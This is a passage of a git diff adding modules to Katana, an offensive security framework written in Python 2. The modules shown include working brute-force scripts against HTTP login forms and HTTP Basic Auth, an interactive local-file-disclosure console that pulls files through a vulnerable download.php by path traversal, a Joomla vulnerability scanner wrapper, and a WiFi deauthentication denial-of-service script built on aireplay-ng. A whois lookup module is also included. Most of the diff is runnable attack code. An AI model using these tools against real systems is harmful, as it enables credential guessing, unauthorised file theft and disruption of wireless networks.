elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + try: + Message.loading_file() + with open(initialize.DEFAULT_VARIABLE[4][0],'r') as passwords: + for password in passwords: + password=password.replace("\n","") + params = urllib.urlencode({initialize.DEFAULT_VARIABLE[5][0]: initialize.DEFAULT_VARIABLE[3][0], initialize.DEFAULT_VARIABLE[6][0]: password}) + header={"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"} + conn = httplib.HTTPConnection(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + conn.request(initialize.DEFAULT_VARIABLE[7][0], initialize.DEFAULT_VARIABLE[2][0], params, header) + response = conn.getresponse() + ver_source = response.read() + if ver_source.find(initialize.DEFAULT_VARIABLE[8][0]) <= 0: + getFunction.savefour("BruteForceFormBase",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[7][0],initialize.DEFAULT_VARIABLE[5][0],initialize.DEFAULT_VARIABLE[6][0],initialize.DEFAULT_VARIABLE[3][0],password) + print "\n-"+Suf+" Successfully with ["+initialize.DEFAULT_VARIABLE[5][0]+"="+initialize.DEFAULT_VARIABLE[3][0]+"]["+initialize.DEFAULT_VARIABLE[6][0]+"="+password+"]\n" + main(True) + else: + print " "+Alr+" Checking ("+initialize.DEFAULT_VARIABLE[6][0]+"="+initialize.DEFAULT_VARIABLE[3][0]+")("+initialize.DEFAULT_VARIABLE[7][0]+"="+password+")" + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[4][0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,patch,para1,valor,para2,dictionary,method,condition): + initialize.DEFAULT_VARIABLE [0][0] = target + initialize.DEFAULT_VARIABLE [1][0] = port + initialize.DEFAULT_VARIABLE [2][0] = patch + initialize.DEFAULT_VARIABLE [3][0] = valor + initialize.DEFAULT_VARIABLE [4][0] = dictionary + initialize.DEFAULT_VARIABLE [5][0] = para1 + initialize.DEFAULT_VARIABLE [6][0] = para2 + initialize.DEFAULT_VARIABLE [7][0] = method + initialize.DEFAULT_VARIABLE [8][0] = condition + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/web/bruteforcetohttpblock.py b/scripts/web/bruteforcetohttpblock.py new file mode 100644 index 0000000..2febb40 --- /dev/null +++ b/scripts/web/bruteforcetohttpblock.py @@ -0,0 +1,93 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import time # +import socket # +import base64 # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Brute Force to HTTP folder block." + initialize.CodeName ="web/fb.http" + initialize.DateCreation ="27/02/2015" + initialize.LastModification ="24/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[HTTP_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[["/admin/" , "patch" , "yes" , "File patch"]] #[2][0] + initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username target"]] #[3][0] + initialize.DEFAULT_VARIABLE +=[[DITIONARY_PASSWORDS , "dict" , "no" , "Wordlist"]] #[4][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + red=socket.socket(socket.AF_INET, socket.SOCK_STREAM) + red.connect((initialize.DEFAULT_VARIABLE[0][0], int(initialize.DEFAULT_VARIABLE[1][0]))) + Message.loading_file() + try: + with open(initialize.DEFAULT_VARIABLE[4][0],'r') as passwords: + for password in passwords: + password=password.replace("\n","") + red.send("GET "+initialize.DEFAULT_VARIABLE[2][0]+" HTTP/1.1\r\n") + red.send("HOST: "+initialize.DEFAULT_VARIABLE[0][0]+"\r\n") + red.send("Authorization:Basic "+base64.b64encode(initialize.DEFAULT_VARIABLE[3][0]+":"+password)+"\r\n\r\n") + last=red.recv(1000) + if last.find("401")<=0: + getFunction.savethree("BruteForceHTTP",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[3][0],password) + Message.Success(initialize.DEFAULT_VARIABLE[3][0],password) + red.close + main(True) + else: + print " "+Alr+" Checking (username="+initialize.DEFAULT_VARIABLE[3][0]+")(password="+password+")" + red.close + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[4][0]) + + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + elif getFunction.KatanaCheckActionisBack(actions): return + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,patch,username,dictionary): + initialize.DEFAULT_VARIABLE[0][0] = target + initialize.DEFAULT_VARIABLE[1][0] = port + initialize.DEFAULT_VARIABLE[2][0] = patch + initialize.DEFAULT_VARIABLE[3][0] = username + initialize.DEFAULT_VARIABLE[4][0] = dictionary + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/web/cltlfd.py b/scripts/web/cltlfd.py new file mode 100644 index 0000000..1c2410d --- /dev/null +++ b/scripts/web/cltlfd.py @@ -0,0 +1,122 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import httplib,urllib # +import urllib2 # +import os # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Local File Disclosure Console Attack." + initialize.CodeName ="web/clt.lfd" + initialize.DateCreation ="14/01/2016" + initialize.LastModification ="24/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[HTTP_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[["/download.php" , "patch" , "yes" , "Vulnerable file"]] #[2][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + connection = httplib.HTTPConnection(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + connection.request("GET",initialize.DEFAULT_VARIABLE[2][0]) + response = connection.getresponse() + if response.status == 200: + print " "+Suf+" File response correctly." + Message.space() + print "\n "+Hlp+" LFD Console help\n" + print " ----------------------------------------------------" + print " |"+colors[12]+"Command | Description| Examples |"+colors[0] + print " ---------------------------------------------------" + print " | get | Query data | get file=index.php&dir=../ |" + print " ---------------------------------------------------" + Message.space() + command=0 + while command!="exit": + command=raw_input(Message.Client_prompt("LFD")) + if command[:3] == "get": + submit=command[4:] + try: + url = "http://"+initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]+initialize.DEFAULT_VARIABLE[2][0]+"?"+submit + file_name = url.split('/')[-1] + u = urllib2.urlopen(url) + f = open("tmp/"+file_name, 'wb') + meta = u.info() + try: + file_size = int(meta.getheaders("Content-Length")[0]) + if file_size != 0: + print " "+Alr+" Request "+url + print " "+Alr+" Downloading %s Bytes: %s" % (file_name, file_size) + file_size_dl = 0 + block_sz = 8192 + while True: + buffer = u.read(block_sz) + if not buffer: + break + file_size_dl += len(buffer) + f.write(buffer) + status = r"%10d [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size) + status = status + chr(8)*(len(status)+1) + print " "+Suf+" Completed "+status + f.close() + print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n" + os.system("cat 'tmp/"+file_name+"' -b -v ") + os.system("rm 'tmp/"+file_name+"'") + print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n" + else: + print " "+War+" File empy or no exist." + except: + Errors.Errors(event=sys.exc_info(), info=url) + except: + Errors.Errors(event=sys.exc_info(), info=defaulthost+":"+defaultport) + else: + print " "+Bad+" File Not response correctly." + Message.space() + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,files): + initialize.DEFAULT_VARIABLE [0][0] = target + initialize.DEFAULT_VARIABLE [1][0] = port + initialize.DEFAULT_VARIABLE [2][0] = files + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/dosweb.py b/scripts/web/dosweb.py similarity index 100% rename from scripts/dosweb.py rename to scripts/web/dosweb.py diff --git a/scripts/web/joomscaner.py b/scripts/web/joomscaner.py new file mode 100644 index 0000000..b5ddecc --- /dev/null +++ b/scripts/web/joomscaner.py @@ -0,0 +1,65 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import subprocess # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Joomla Scan Vulnerability - External Script" + initialize.CodeName ="web/sc.joomla" + initialize.DateCreation ="26/05/2015" + initialize.LastModification ="24/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[HTTP_PORT , "port" , "no" , "Service port"]] #[1][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + subprocess.call('cd files/joomlavs/;ruby joomlavs.rb -a -u '+initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0], shell=True) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,dictionary): + initialize.DEFAULT_VARIABLE [0][0] = target + initialize.DEFAULT_VARIABLE [1][0] = port + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/web/whois.py b/scripts/web/whois.py new file mode 100644 index 0000000..5309d9c --- /dev/null +++ b/scripts/web/whois.py @@ -0,0 +1,71 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +from lib import whois # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Whois, DNS lookup. DNS Information" + initialize.CodeName ="web/whois" + initialize.DateCreation ="09/07/2015" + initialize.LastModification ="24/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[HTTP_PORT , "port" , "no" , "Service port"]] #[1][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + w = whois.whois(initialize.DEFAULT_VARIABLE[0][0]) + if w: + wd = w.__dict__ + print colors[10] + for k, v in wd.items(): + print('%20s\t"%s"' % (k, v)) + print colors[0] + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port): + initialize.DEFAULT_VARIABLE [0][0] = target + initialize.DEFAULT_VARIABLE [1][0] = port + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/Wifi_DDOS.py b/scripts/wifi/Wifi_DDOS.py similarity index 84% rename from scripts/Wifi_DDOS.py rename to scripts/wifi/Wifi_DDOS.py index a8ddba9..f889d1c 100644 --- a/scripts/Wifi_DDOS.py +++ b/scripts/wifi/Wifi_DDOS.py @@ -24,15 +24,16 @@ defaultmac=MAC_TARGET # :-:-:-:-:-:-:-:-:-:-:-:-:- # -def run(card,monitor,mac,channel,essid): - global defaultint,defaultmac - defaultint=monitor - defaultmac=mac +def run(interface,bssid,channel): + global defaultint,defaultmac,defaulchan + defaultint=interface + defaultmac=bssid + defaulchan=channel ddos(1) def ddos(run): - global defaultint,defaultmac + global defaultint,defaultmac,defaulchan try: if run!=1: actions=raw_input(d.prompt("wifi/dos")) @@ -42,6 +43,7 @@ def ddos(run): d.option() d.descrip("device","yes","Interface",defaultint) d.descrip("bssid","yes","Mac Target",defaultmac) + d.descrip("chann","yes","Channel ap",defaultmac) d.helpAUX() ping.interfaces(1) ping.monitor() @@ -68,8 +70,8 @@ def ddos(run): try: if ping.checkDevice(defaultint): print " "+Alr+" Starting attack to "+defaultmac - subprocess.call('aireplay-ng --deauth 100000 -a '+defaultmac+' '+defaultint, shell=True) - stopAttack=raw_input(' '+Hlp+' Press Any Key for Stop the Attack.') + ping.Subprocess('aireplay-ng --deauth 100000 -a '+defaultmac+' '+defaultint) + NULL=raw_input(" "+Hlp+" for Stop DOS Attack (PRESS ANY KEY)") subprocess.call("killall aireplay-ng", shell=True) else: d.NoDeviceFound(defaultint) diff --git a/scripts/WpaBTF.py b/scripts/wifi/WpaBTF.py similarity index 100% rename from scripts/WpaBTF.py rename to scripts/wifi/WpaBTF.py diff --git a/tmp/tor b/tmp/tor index 2a2a6b3..e69de29 100644 --- a/tmp/tor +++ b/tmp/tor @@ -1,2 +0,0 @@ -nothing for here -